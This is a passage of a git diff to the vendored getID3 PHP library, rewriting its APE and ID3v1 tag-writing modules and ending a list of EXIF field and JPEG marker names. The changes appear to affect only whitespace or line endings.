'exif:FlashpixVersion', + 'exif:ColorSpace', + 'exif:ComponentsConfiguration', + 'exif:CompressedBitsPerPixel', + 'exif:PixelXDimension', + 'exif:PixelYDimension', + 'exif:MakerNote', + 'exif:UserComment', + 'exif:RelatedSoundFile', + 'exif:DateTimeOriginal', + 'exif:DateTimeDigitized', + 'exif:ExposureTime', + 'exif:FNumber', + 'exif:ExposureProgram', + 'exif:SpectralSensitivity', + 'exif:ISOSpeedRatings', + 'exif:OECF', + 'exif:ShutterSpeedValue', + 'exif:ApertureValue', + 'exif:BrightnessValue', + 'exif:ExposureBiasValue', + 'exif:MaxApertureValue', + 'exif:SubjectDistance', + 'exif:MeteringMode', + 'exif:LightSource', + 'exif:Flash', + 'exif:FocalLength', + 'exif:SubjectArea', + 'exif:FlashEnergy', + 'exif:SpatialFrequencyResponse', + 'exif:FocalPlaneXResolution', + 'exif:FocalPlaneYResolution', + 'exif:FocalPlaneResolutionUnit', + 'exif:SubjectLocation', + 'exif:SensingMethod', + 'exif:FileSource', + 'exif:SceneType', + 'exif:CFAPattern', + 'exif:CustomRendered', + 'exif:ExposureMode', + 'exif:WhiteBalance', + 'exif:DigitalZoomRatio', + 'exif:FocalLengthIn35mmFilm', + 'exif:SceneCaptureType', + 'exif:GainControl', + 'exif:Contrast', + 'exif:Saturation', + 'exif:Sharpness', + 'exif:DeviceSettingDescription', + 'exif:SubjectDistanceRange', + 'exif:ImageUniqueID', + 'exif:GPSVersionID', + 'exif:GPSLatitude', + 'exif:GPSLongitude', + 'exif:GPSAltitudeRef', + 'exif:GPSAltitude', + 'exif:GPSTimeStamp', + 'exif:GPSSatellites', + 'exif:GPSStatus', + 'exif:GPSMeasureMode', + 'exif:GPSDOP', + 'exif:GPSSpeedRef', + 'exif:GPSSpeed', + 'exif:GPSTrackRef', + 'exif:GPSTrack', + 'exif:GPSImgDirectionRef', + 'exif:GPSImgDirection', + 'exif:GPSMapDatum', + 'exif:GPSDestLatitude', + 'exif:GPSDestLongitude', + 'exif:GPSDestBearingRef', + 'exif:GPSDestBearing', + 'exif:GPSDestDistanceRef', + 'exif:GPSDestDistance', + 'exif:GPSProcessingMethod', + 'exif:GPSAreaInformation', + 'exif:GPSDifferential', + 'stDim:w', + 'stDim:h', + 'stDim:unit', + 'xapGImg:height', + 'xapGImg:width', + 'xapGImg:format', + 'xapGImg:image', + 'stEvt:action', + 'stEvt:instanceID', + 'stEvt:parameters', + 'stEvt:softwareAgent', + 'stEvt:when', + 'stRef:instanceID', + 'stRef:documentID', + 'stRef:versionID', + 'stRef:renditionClass', + 'stRef:renditionParams', + 'stRef:manager', + 'stRef:managerVariant', + 'stRef:manageTo', + 'stRef:manageUI', + 'stVer:comments', + 'stVer:event', + 'stVer:modifyDate', + 'stVer:modifier', + 'stVer:version', + 'stJob:name', + 'stJob:id', + 'stJob:url', +// Exif Flash + 'exif:Fired', + 'exif:Return', + 'exif:Mode', + 'exif:Function', + 'exif:RedEyeMode', +// Exif OECF/SFR + 'exif:Columns', + 'exif:Rows', + 'exif:Names', + 'exif:Values', +// Exif CFAPattern + 'exif:Columns', + 'exif:Rows', + 'exif:Values', +// Exif DeviceSettings + 'exif:Columns', + 'exif:Rows', + 'exif:Settings', +); +*/ + +/** +* Global Variable: JPEG_Segment_Names +* +* The names of the JPEG segment markers, indexed by their marker number +*/ +$GLOBALS['JPEG_Segment_Names'] = array( + 0x01 => 'TEM', + 0x02 => 'RES', + 0xC0 => 'SOF0', + 0xC1 => 'SOF1', + 0xC2 => 'SOF2', + 0xC3 => 'SOF4', + 0xC4 => 'DHT', + 0xC5 => 'SOF5', + 0xC6 => 'SOF6', + 0xC7 => 'SOF7', + 0xC8 => 'JPG', + 0xC9 => 'SOF9', + 0xCA => 'SOF10', + 0xCB => 'SOF11', + 0xCC => 'DAC', + 0xCD => 'SOF13', + 0xCE => 'SOF14', + 0xCF => 'SOF15', + 0xD0 => 'RST0', + 0xD1 => 'RST1', + 0xD2 => 'RST2', + 0xD3 => 'RST3', + 0xD4 => 'RST4', + 0xD5 => 'RST5', + 0xD6 => 'RST6', + 0xD7 => 'RST7', + 0xD8 => 'SOI', + 0xD9 => 'EOI', + 0xDA => 'SOS', + 0xDB => 'DQT', + 0xDC => 'DNL', + 0xDD => 'DRI', + 0xDE => 'DHP', + 0xDF => 'EXP', + 0xE0 => 'APP0', + 0xE1 => 'APP1', + 0xE2 => 'APP2', + 0xE3 => 'APP3', + 0xE4 => 'APP4', + 0xE5 => 'APP5', + 0xE6 => 'APP6', + 0xE7 => 'APP7', + 0xE8 => 'APP8', + 0xE9 => 'APP9', + 0xEA => 'APP10', + 0xEB => 'APP11', + 0xEC => 'APP12', + 0xED => 'APP13', + 0xEE => 'APP14', + 0xEF => 'APP15', + 0xF0 => 'JPG0', + 0xF1 => 'JPG1', + 0xF2 => 'JPG2', + 0xF3 => 'JPG3', + 0xF4 => 'JPG4', + 0xF5 => 'JPG5', + 0xF6 => 'JPG6', + 0xF7 => 'JPG7', + 0xF8 => 'JPG8', + 0xF9 => 'JPG9', + 0xFA => 'JPG10', + 0xFB => 'JPG11', + 0xFC => 'JPG12', + 0xFD => 'JPG13', + 0xFE => 'COM', +); diff --git a/vendor/james-heinrich/getid3/getid3/write.apetag.php b/vendor/james-heinrich/getid3/getid3/write.apetag.php index 2ca594c3dc..a34beed433 100644 --- a/vendor/james-heinrich/getid3/getid3/write.apetag.php +++ b/vendor/james-heinrich/getid3/getid3/write.apetag.php @@ -1,277 +1,277 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// write.apetag.php // -// module for writing APE tags // -// dependencies: module.tag.apetag.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); - -class getid3_write_apetag -{ - /** - * @var string - */ - public $filename; - - /** - * @var array - */ - public $tag_data; - - /** - * ReplayGain / MP3gain tags will be copied from old tag even if not passed in data. - * - * @var bool - */ - public $always_preserve_replaygain = true; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteAPEtag() { - // NOTE: All data passed to this function must be UTF-8 format - - $getID3 = new getID3; - $ThisFileInfo = $getID3->analyze($this->filename); - - if (isset($ThisFileInfo['ape']['tag_offset_start']) && isset($ThisFileInfo['lyrics3']['tag_offset_end'])) { - if ($ThisFileInfo['ape']['tag_offset_start'] >= $ThisFileInfo['lyrics3']['tag_offset_end']) { - // Current APE tag between Lyrics3 and ID3v1/EOF - // This break Lyrics3 functionality - if (!$this->DeleteAPEtag()) { - return false; - } - $ThisFileInfo = $getID3->analyze($this->filename); - } - } - - if ($this->always_preserve_replaygain) { - $ReplayGainTagsToPreserve = array('mp3gain_minmax', 'mp3gain_album_minmax', 'mp3gain_undo', 'replaygain_track_peak', 'replaygain_track_gain', 'replaygain_album_peak', 'replaygain_album_gain'); - foreach ($ReplayGainTagsToPreserve as $rg_key) { - if (isset($ThisFileInfo['ape']['items'][strtolower($rg_key)]['data'][0]) && !isset($this->tag_data[strtoupper($rg_key)][0])) { - $this->tag_data[strtoupper($rg_key)][0] = $ThisFileInfo['ape']['items'][strtolower($rg_key)]['data'][0]; - } - } - } - - if ($APEtag = $this->GenerateAPEtag()) { - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'a+b'))) { - $oldignoreuserabort = ignore_user_abort(true); - flock($fp, LOCK_EX); - - $PostAPEdataOffset = $ThisFileInfo['avdataend']; - if (isset($ThisFileInfo['ape']['tag_offset_end'])) { - $PostAPEdataOffset = max($PostAPEdataOffset, $ThisFileInfo['ape']['tag_offset_end']); - } - if (isset($ThisFileInfo['lyrics3']['tag_offset_start'])) { - $PostAPEdataOffset = max($PostAPEdataOffset, $ThisFileInfo['lyrics3']['tag_offset_start']); - } - fseek($fp, $PostAPEdataOffset); - $PostAPEdata = ''; - if ($ThisFileInfo['filesize'] > $PostAPEdataOffset) { - $PostAPEdata = fread($fp, $ThisFileInfo['filesize'] - $PostAPEdataOffset); - } - - fseek($fp, $PostAPEdataOffset); - if (isset($ThisFileInfo['ape']['tag_offset_start'])) { - fseek($fp, $ThisFileInfo['ape']['tag_offset_start']); - } - ftruncate($fp, ftell($fp)); - fwrite($fp, $APEtag, strlen($APEtag)); - if (!empty($PostAPEdata)) { - fwrite($fp, $PostAPEdata, strlen($PostAPEdata)); - } - flock($fp, LOCK_UN); - fclose($fp); - ignore_user_abort($oldignoreuserabort); - return true; - } - } - return false; - } - - /** - * @return bool - */ - public function DeleteAPEtag() { - $getID3 = new getID3; - $ThisFileInfo = $getID3->analyze($this->filename); - if (isset($ThisFileInfo['ape']['tag_offset_start']) && isset($ThisFileInfo['ape']['tag_offset_end'])) { - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'a+b'))) { - - flock($fp, LOCK_EX); - $oldignoreuserabort = ignore_user_abort(true); - - fseek($fp, $ThisFileInfo['ape']['tag_offset_end']); - $DataAfterAPE = ''; - if ($ThisFileInfo['filesize'] > $ThisFileInfo['ape']['tag_offset_end']) { - $DataAfterAPE = fread($fp, $ThisFileInfo['filesize'] - $ThisFileInfo['ape']['tag_offset_end']); - } - - ftruncate($fp, $ThisFileInfo['ape']['tag_offset_start']); - fseek($fp, $ThisFileInfo['ape']['tag_offset_start']); - - if (!empty($DataAfterAPE)) { - fwrite($fp, $DataAfterAPE, strlen($DataAfterAPE)); - } - - flock($fp, LOCK_UN); - fclose($fp); - ignore_user_abort($oldignoreuserabort); - - return true; - } - return false; - } - return true; - } - - /** - * @return string|false - */ - public function GenerateAPEtag() { - // NOTE: All data passed to this function must be UTF-8 format - - $items = array(); - if (!is_array($this->tag_data)) { - return false; - } - foreach ($this->tag_data as $key => $arrayofvalues) { - if (!is_array($arrayofvalues)) { - return false; - } - - $valuestring = ''; - foreach ($arrayofvalues as $value) { - $valuestring .= str_replace("\x00", '', $value)."\x00"; - } - $valuestring = rtrim($valuestring, "\x00"); - - // Length of the assigned value in bytes - $tagitem = getid3_lib::LittleEndian2String(strlen($valuestring), 4); - - //$tagitem .= $this->GenerateAPEtagFlags(true, true, false, 0, false); - $tagitem .= "\x00\x00\x00\x00"; - - $tagitem .= $this->CleanAPEtagItemKey($key)."\x00"; - $tagitem .= $valuestring; - - $items[] = $tagitem; - - } - - return $this->GenerateAPEtagHeaderFooter($items, true).implode('', $items).$this->GenerateAPEtagHeaderFooter($items, false); - } - - /** - * @param array $items - * @param bool $isheader - * - * @return string - */ - public function GenerateAPEtagHeaderFooter(&$items, $isheader=false) { - $tagdatalength = 0; - foreach ($items as $itemdata) { - $tagdatalength += strlen($itemdata); - } - - $APEheader = 'APETAGEX'; - $APEheader .= getid3_lib::LittleEndian2String(2000, 4); - $APEheader .= getid3_lib::LittleEndian2String(32 + $tagdatalength, 4); - $APEheader .= getid3_lib::LittleEndian2String(count($items), 4); - $APEheader .= $this->GenerateAPEtagFlags(true, true, $isheader, 0, false); - $APEheader .= str_repeat("\x00", 8); - - return $APEheader; - } - - /** - * @param bool $header - * @param bool $footer - * @param bool $isheader - * @param int $encodingid - * @param bool $readonly - * - * @return string - */ - public function GenerateAPEtagFlags($header=true, $footer=true, $isheader=false, $encodingid=0, $readonly=false) { - $APEtagFlags = array_fill(0, 4, 0); - if ($header) { - $APEtagFlags[0] |= 0x80; // Tag contains a header - } - if (!$footer) { - $APEtagFlags[0] |= 0x40; // Tag contains no footer - } - if ($isheader) { - $APEtagFlags[0] |= 0x20; // This is the header, not the footer - } - - // 0: Item contains text information coded in UTF-8 - // 1: Item contains binary information °) - // 2: Item is a locator of external stored information °°) - // 3: reserved - $APEtagFlags[3] |= ($encodingid << 1); - - if ($readonly) { - $APEtagFlags[3] |= 0x01; // Tag or Item is Read Only - } - - return chr($APEtagFlags[3]).chr($APEtagFlags[2]).chr($APEtagFlags[1]).chr($APEtagFlags[0]); - } - - /** - * @param string $itemkey - * - * @return string - */ - public function CleanAPEtagItemKey($itemkey) { - $itemkey = preg_replace("#[^\x20-\x7E]#i", '', $itemkey); - - // http://www.personal.uni-jena.de/~pfk/mpp/sv8/apekey.html - switch (strtoupper($itemkey)) { - case 'EAN/UPC': - case 'ISBN': - case 'LC': - case 'ISRC': - $itemkey = strtoupper($itemkey); - break; - - default: - $itemkey = ucwords($itemkey); - break; - } - return $itemkey; - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// write.apetag.php // +// module for writing APE tags // +// dependencies: module.tag.apetag.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); + +class getid3_write_apetag +{ + /** + * @var string + */ + public $filename; + + /** + * @var array + */ + public $tag_data; + + /** + * ReplayGain / MP3gain tags will be copied from old tag even if not passed in data. + * + * @var bool + */ + public $always_preserve_replaygain = true; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteAPEtag() { + // NOTE: All data passed to this function must be UTF-8 format + + $getID3 = new getID3; + $ThisFileInfo = $getID3->analyze($this->filename); + + if (isset($ThisFileInfo['ape']['tag_offset_start']) && isset($ThisFileInfo['lyrics3']['tag_offset_end'])) { + if ($ThisFileInfo['ape']['tag_offset_start'] >= $ThisFileInfo['lyrics3']['tag_offset_end']) { + // Current APE tag between Lyrics3 and ID3v1/EOF + // This break Lyrics3 functionality + if (!$this->DeleteAPEtag()) { + return false; + } + $ThisFileInfo = $getID3->analyze($this->filename); + } + } + + if ($this->always_preserve_replaygain) { + $ReplayGainTagsToPreserve = array('mp3gain_minmax', 'mp3gain_album_minmax', 'mp3gain_undo', 'replaygain_track_peak', 'replaygain_track_gain', 'replaygain_album_peak', 'replaygain_album_gain'); + foreach ($ReplayGainTagsToPreserve as $rg_key) { + if (isset($ThisFileInfo['ape']['items'][strtolower($rg_key)]['data'][0]) && !isset($this->tag_data[strtoupper($rg_key)][0])) { + $this->tag_data[strtoupper($rg_key)][0] = $ThisFileInfo['ape']['items'][strtolower($rg_key)]['data'][0]; + } + } + } + + if ($APEtag = $this->GenerateAPEtag()) { + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'a+b'))) { + $oldignoreuserabort = ignore_user_abort(true); + flock($fp, LOCK_EX); + + $PostAPEdataOffset = $ThisFileInfo['avdataend']; + if (isset($ThisFileInfo['ape']['tag_offset_end'])) { + $PostAPEdataOffset = max($PostAPEdataOffset, $ThisFileInfo['ape']['tag_offset_end']); + } + if (isset($ThisFileInfo['lyrics3']['tag_offset_start'])) { + $PostAPEdataOffset = max($PostAPEdataOffset, $ThisFileInfo['lyrics3']['tag_offset_start']); + } + fseek($fp, $PostAPEdataOffset); + $PostAPEdata = ''; + if ($ThisFileInfo['filesize'] > $PostAPEdataOffset) { + $PostAPEdata = fread($fp, $ThisFileInfo['filesize'] - $PostAPEdataOffset); + } + + fseek($fp, $PostAPEdataOffset); + if (isset($ThisFileInfo['ape']['tag_offset_start'])) { + fseek($fp, $ThisFileInfo['ape']['tag_offset_start']); + } + ftruncate($fp, ftell($fp)); + fwrite($fp, $APEtag, strlen($APEtag)); + if (!empty($PostAPEdata)) { + fwrite($fp, $PostAPEdata, strlen($PostAPEdata)); + } + flock($fp, LOCK_UN); + fclose($fp); + ignore_user_abort($oldignoreuserabort); + return true; + } + } + return false; + } + + /** + * @return bool + */ + public function DeleteAPEtag() { + $getID3 = new getID3; + $ThisFileInfo = $getID3->analyze($this->filename); + if (isset($ThisFileInfo['ape']['tag_offset_start']) && isset($ThisFileInfo['ape']['tag_offset_end'])) { + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'a+b'))) { + + flock($fp, LOCK_EX); + $oldignoreuserabort = ignore_user_abort(true); + + fseek($fp, $ThisFileInfo['ape']['tag_offset_end']); + $DataAfterAPE = ''; + if ($ThisFileInfo['filesize'] > $ThisFileInfo['ape']['tag_offset_end']) { + $DataAfterAPE = fread($fp, $ThisFileInfo['filesize'] - $ThisFileInfo['ape']['tag_offset_end']); + } + + ftruncate($fp, $ThisFileInfo['ape']['tag_offset_start']); + fseek($fp, $ThisFileInfo['ape']['tag_offset_start']); + + if (!empty($DataAfterAPE)) { + fwrite($fp, $DataAfterAPE, strlen($DataAfterAPE)); + } + + flock($fp, LOCK_UN); + fclose($fp); + ignore_user_abort($oldignoreuserabort); + + return true; + } + return false; + } + return true; + } + + /** + * @return string|false + */ + public function GenerateAPEtag() { + // NOTE: All data passed to this function must be UTF-8 format + + $items = array(); + if (!is_array($this->tag_data)) { + return false; + } + foreach ($this->tag_data as $key => $arrayofvalues) { + if (!is_array($arrayofvalues)) { + return false; + } + + $valuestring = ''; + foreach ($arrayofvalues as $value) { + $valuestring .= str_replace("\x00", '', $value)."\x00"; + } + $valuestring = rtrim($valuestring, "\x00"); + + // Length of the assigned value in bytes + $tagitem = getid3_lib::LittleEndian2String(strlen($valuestring), 4); + + //$tagitem .= $this->GenerateAPEtagFlags(true, true, false, 0, false); + $tagitem .= "\x00\x00\x00\x00"; + + $tagitem .= $this->CleanAPEtagItemKey($key)."\x00"; + $tagitem .= $valuestring; + + $items[] = $tagitem; + + } + + return $this->GenerateAPEtagHeaderFooter($items, true).implode('', $items).$this->GenerateAPEtagHeaderFooter($items, false); + } + + /** + * @param array $items + * @param bool $isheader + * + * @return string + */ + public function GenerateAPEtagHeaderFooter(&$items, $isheader=false) { + $tagdatalength = 0; + foreach ($items as $itemdata) { + $tagdatalength += strlen($itemdata); + } + + $APEheader = 'APETAGEX'; + $APEheader .= getid3_lib::LittleEndian2String(2000, 4); + $APEheader .= getid3_lib::LittleEndian2String(32 + $tagdatalength, 4); + $APEheader .= getid3_lib::LittleEndian2String(count($items), 4); + $APEheader .= $this->GenerateAPEtagFlags(true, true, $isheader, 0, false); + $APEheader .= str_repeat("\x00", 8); + + return $APEheader; + } + + /** + * @param bool $header + * @param bool $footer + * @param bool $isheader + * @param int $encodingid + * @param bool $readonly + * + * @return string + */ + public function GenerateAPEtagFlags($header=true, $footer=true, $isheader=false, $encodingid=0, $readonly=false) { + $APEtagFlags = array_fill(0, 4, 0); + if ($header) { + $APEtagFlags[0] |= 0x80; // Tag contains a header + } + if (!$footer) { + $APEtagFlags[0] |= 0x40; // Tag contains no footer + } + if ($isheader) { + $APEtagFlags[0] |= 0x20; // This is the header, not the footer + } + + // 0: Item contains text information coded in UTF-8 + // 1: Item contains binary information °) + // 2: Item is a locator of external stored information °°) + // 3: reserved + $APEtagFlags[3] |= ($encodingid << 1); + + if ($readonly) { + $APEtagFlags[3] |= 0x01; // Tag or Item is Read Only + } + + return chr($APEtagFlags[3]).chr($APEtagFlags[2]).chr($APEtagFlags[1]).chr($APEtagFlags[0]); + } + + /** + * @param string $itemkey + * + * @return string + */ + public function CleanAPEtagItemKey($itemkey) { + $itemkey = preg_replace("#[^\x20-\x7E]#i", '', $itemkey); + + // http://www.personal.uni-jena.de/~pfk/mpp/sv8/apekey.html + switch (strtoupper($itemkey)) { + case 'EAN/UPC': + case 'ISBN': + case 'LC': + case 'ISRC': + $itemkey = strtoupper($itemkey); + break; + + default: + $itemkey = ucwords($itemkey); + break; + } + return $itemkey; + + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/write.id3v1.php b/vendor/james-heinrich/getid3/getid3/write.id3v1.php index fd6c46e231..22c4677916 100644 --- a/vendor/james-heinrich/getid3/getid3/write.id3v1.php +++ b/vendor/james-heinrich/getid3/getid3/write.id3v1.php @@ -1,175 +1,175 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// write.id3v1.php // -// module for writing ID3v1 tags // -// dependencies: module.tag.id3v1.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true); - -class getid3_write_id3v1 -{ - /** - * @var string - */ - public $filename; - - /** - * @var int - */ - public $filesize; - - /** - * @var array - */ - public $tag_data; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteID3v1() { - // File MUST be writeable - CHMOD(646) at least - if (!empty($this->filename) && is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename)) { - $this->setRealFileSize(); - if (($this->filesize <= 0) || !getid3_lib::intValueSupported($this->filesize)) { - $this->errors[] = 'Unable to WriteID3v1('.$this->filename.') because filesize ('.$this->filesize.') is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; - return false; - } - if ($fp_source = fopen($this->filename, 'r+b')) { - fseek($fp_source, -128, SEEK_END); - if (fread($fp_source, 3) == 'TAG') { - fseek($fp_source, -128, SEEK_END); // overwrite existing ID3v1 tag - } else { - fseek($fp_source, 0, SEEK_END); // append new ID3v1 tag - } - $this->tag_data['track_number'] = (isset($this->tag_data['track_number']) ? $this->tag_data['track_number'] : ''); - - $new_id3v1_tag_data = getid3_id3v1::GenerateID3v1Tag( - (isset($this->tag_data['title'] ) ? $this->tag_data['title'] : ''), - (isset($this->tag_data['artist'] ) ? $this->tag_data['artist'] : ''), - (isset($this->tag_data['album'] ) ? $this->tag_data['album'] : ''), - (isset($this->tag_data['year'] ) ? $this->tag_data['year'] : ''), - (isset($this->tag_data['genreid'] ) ? $this->tag_data['genreid'] : ''), - (isset($this->tag_data['comment'] ) ? $this->tag_data['comment'] : ''), - (isset($this->tag_data['track_number']) ? $this->tag_data['track_number'] : '')); - fwrite($fp_source, $new_id3v1_tag_data, 128); - fclose($fp_source); - return true; - - } else { - $this->errors[] = 'Could not fopen('.$this->filename.', "r+b")'; - return false; - } - } - $this->errors[] = 'File is not writeable: '.$this->filename; - return false; - } - - /** - * @return bool - */ - public function FixID3v1Padding() { - // ID3v1 data is supposed to be padded with NULL characters, but some taggers incorrectly use spaces - // This function rewrites the ID3v1 tag with correct padding - - // Initialize getID3 engine - $getID3 = new getID3; - $getID3->option_tag_id3v2 = false; - $getID3->option_tag_apetag = false; - $getID3->option_tags_html = false; - $getID3->option_extra_info = false; - $getID3->option_tag_id3v1 = true; - $ThisFileInfo = $getID3->analyze($this->filename); - if (isset($ThisFileInfo['tags']['id3v1'])) { - $id3v1data = array(); - foreach ($ThisFileInfo['tags']['id3v1'] as $key => $value) { - $id3v1data[$key] = implode(',', $value); - } - $this->tag_data = $id3v1data; - return $this->WriteID3v1(); - } - return false; - } - - /** - * @return bool - */ - public function RemoveID3v1() { - // File MUST be writeable - CHMOD(646) at least - if (!empty($this->filename) && is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename)) { - $this->setRealFileSize(); - if (($this->filesize <= 0) || !getid3_lib::intValueSupported($this->filesize)) { - $this->errors[] = 'Unable to RemoveID3v1('.$this->filename.') because filesize ('.$this->filesize.') is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; - return false; - } - if ($fp_source = fopen($this->filename, 'r+b')) { - - fseek($fp_source, -128, SEEK_END); - if (fread($fp_source, 3) == 'TAG') { - ftruncate($fp_source, $this->filesize - 128); - } else { - // no ID3v1 tag to begin with - do nothing - } - fclose($fp_source); - return true; - - } else { - $this->errors[] = 'Could not fopen('.$this->filename.', "r+b")'; - } - } else { - $this->errors[] = $this->filename.' is not writeable'; - } - return false; - } - - /** - * @return bool - */ - public function setRealFileSize() { - if (PHP_INT_MAX > 2147483647) { - $this->filesize = filesize($this->filename); - return true; - } - // 32-bit PHP will not return correct values for filesize() if file is >=2GB - // but getID3->analyze() has workarounds to get actual filesize - $getID3 = new getID3; - $getID3->option_tag_id3v1 = false; - $getID3->option_tag_id3v2 = false; - $getID3->option_tag_apetag = false; - $getID3->option_tags_html = false; - $getID3->option_extra_info = false; - $ThisFileInfo = $getID3->analyze($this->filename); - $this->filesize = $ThisFileInfo['filesize']; - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// write.id3v1.php // +// module for writing ID3v1 tags // +// dependencies: module.tag.id3v1.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true); + +class getid3_write_id3v1 +{ + /** + * @var string + */ + public $filename; + + /** + * @var int + */ + public $filesize; + + /** + * @var array + */ + public $tag_data; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteID3v1() { + // File MUST be writeable - CHMOD(646) at least + if (!empty($this->filename) && is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename)) { + $this->setRealFileSize(); + if (($this->filesize <= 0) || !getid3_lib::intValueSupported($this->filesize)) { + $this->errors[] = 'Unable to WriteID3v1('.$this->filename.') because filesize ('.$this->filesize.') is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; + return false; + } + if ($fp_source = fopen($this->filename, 'r+b')) { + fseek($fp_source, -128, SEEK_END); + if (fread($fp_source, 3) == 'TAG') { + fseek($fp_source, -128, SEEK_END); // overwrite existing ID3v1 tag + } else { + fseek($fp_source, 0, SEEK_END); // append new ID3v1 tag + } + $this->tag_data['track_number'] = (isset($this->tag_data['track_number']) ? $this->tag_data['track_number'] : ''); + + $new_id3v1_tag_data = getid3_id3v1::GenerateID3v1Tag( + (isset($this->tag_data['title'] ) ? $this->tag_data['title'] : ''), + (isset($this->tag_data['artist'] ) ? $this->tag_data['artist'] : ''), + (isset($this->tag_data['album'] ) ? $this->tag_data['album'] : ''), + (isset($this->tag_data['year'] ) ? $this->tag_data['year'] : ''), + (isset($this->tag_data['genreid'] ) ? $this->tag_data['genreid'] : ''), + (isset($this->tag_data['comment'] ) ? $this->tag_data['comment'] : ''), + (isset($this->tag_data['track_number']) ? $this->tag_data['track_number'] : '')); + fwrite($fp_source, $new_id3v1_tag_data, 128); + fclose($fp_source); + return true; + + } else { + $this->errors[] = 'Could not fopen('.$this->filename.', "r+b")'; + return false; + } + } + $this->errors[] = 'File is not writeable: '.$this->filename; + return false; + } + + /** + * @return bool + */ + public function FixID3v1Padding() { + // ID3v1 data is supposed to be padded with NULL characters, but some taggers incorrectly use spaces + // This function rewrites the ID3v1 tag with correct padding + + // Initialize getID3 engine + $getID3 = new getID3; + $getID3->option_tag_id3v2 = false; + $getID3->option_tag_apetag = false; + $getID3->option_tags_html = false; + $getID3->option_extra_info = false; + $getID3->option_tag_id3v1 = true; + $ThisFileInfo = $getID3->analyze($this->filename); + if (isset($ThisFileInfo['tags']['id3v1'])) { + $id3v1data = array(); + foreach ($ThisFileInfo['tags']['id3v1'] as $key => $value) { + $id3v1data[$key] = implode(',', $value); + } + $this->tag_data = $id3v1data; + return $this->WriteID3v1(); + } + return false; + } + + /** + * @return bool + */ + public function RemoveID3v1() { + // File MUST be writeable - CHMOD(646) at least + if (!empty($this->filename) && is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename)) { + $this->setRealFileSize(); + if (($this->filesize <= 0) || !getid3_lib::intValueSupported($this->filesize)) { + $this->errors[] = 'Unable to RemoveID3v1('.$this->filename.') because filesize ('.$this->filesize.') is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; + return false; + } + if ($fp_source = fopen($this->filename, 'r+b')) { + + fseek($fp_source, -128, SEEK_END); + if (fread($fp_source, 3) == 'TAG') { + ftruncate($fp_source, $this->filesize - 128); + } else { + // no ID3v1 tag to begin with - do nothing + } + fclose($fp_source); + return true; + + } else { + $this->errors[] = 'Could not fopen('.$this->filename.', "r+b")'; + } + } else { + $this->errors[] = $this->filename.' is not writeable'; + } + return false; + } + + /** + * @return bool + */ + public function setRealFileSize() { + if (PHP_INT_MAX > 2147483647) { + $this->filesize = filesize($this->filename); + return true; + } + // 32-bit PHP will not return correct values for filesize() if file is >=2GB + // but getID3->analyze() has workarounds to get actual filesize + $getID3 = new getID3; + $getID3->option_tag_id3v1 = false; + $getID3->option_tag_id3v2 = false; + $getID3->option_tag_apetag = false; + $getID3->option_tags_html = false; + $getID3->option_extra_info = false; + $ThisFileInfo = $getID3->analyze($this->filename); + $this->filesize = $ThisFileInfo['filesize']; + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/write.id3v2.php b/vendor/james-heinrich/getid3/getid3/write.id3v2.php index 9ff1b7c590..7385a45981 100644 --- a/vendor/james-heinrich/getid3/getid3/write.id3v2.php +++ 